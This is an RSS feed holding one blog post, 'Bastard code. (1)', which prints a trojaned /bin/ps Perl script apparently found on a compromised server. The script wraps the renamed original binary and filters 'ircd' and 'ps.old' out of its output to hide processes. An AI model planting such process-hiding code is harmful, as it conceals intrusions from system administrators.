<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Perl on Details...</title>
    <link>https://www.deepreflect.net/tags/perl/</link>
    <description>Recent content in Perl on Details...</description>
    <generator>Hugo</generator>
    <language>en-US</language>
    <copyright>Copyright © 2003 - 2026 Leonardo Rizzi</copyright>
    <lastBuildDate>Tue, 30 Jun 2026 03:28:29 +0200</lastBuildDate>
    <atom:link href="https://www.deepreflect.net/tags/perl/feed.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Bastard code. (1)</title>
      <link>https://www.deepreflect.net/2009/12/02/bastard-code-1/</link>
      <pubDate>Wed, 02 Dec 2009 07:10:55 +0000</pubDate>
       <guid isPermaLink="false">http://blog.deepreflect.net/?p=777</guid> 
      <description>&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;srv:/bin# cat ps
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;#!/usr/bin/perl
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use warnings;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;use strict;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my $string = $ARGV[0];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;if($string){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @net = qx/ps.old $string/;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @hide = grep(!/(ircd)/, @net);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @dd = grep(!/ps.old/, @hide);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print @dd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;else
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @nett = qx/ps.old/;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @hidee = grep(!/(ircd)/, @nett);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;my @d = grep(!/ps.old/, @hidee);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;print @d;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description>
      <content:encoded><![CDATA[<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>srv:/bin# cat ps
</span></span><span style="display:flex;"><span>#!/usr/bin/perl
</span></span><span style="display:flex;"><span>use warnings;
</span></span><span style="display:flex;"><span>use strict;
</span></span><span style="display:flex;"><span>my $string = $ARGV[0];
</span></span><span style="display:flex;"><span>if($string){
</span></span><span style="display:flex;"><span>my @net = qx/ps.old $string/;
</span></span><span style="display:flex;"><span>my @hide = grep(!/(ircd)/, @net);
</span></span><span style="display:flex;"><span>my @dd = grep(!/ps.old/, @hide);
</span></span><span style="display:flex;"><span>print @dd;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>else
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>my @nett = qx/ps.old/;
</span></span><span style="display:flex;"><span>my @hidee = grep(!/(ircd)/, @nett);
</span></span><span style="display:flex;"><span>my @d = grep(!/ps.old/, @hidee);
</span></span><span style="display:flex;"><span>print @d;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div>]]></content:encoded>
    </item>
  </channel>
</rss>
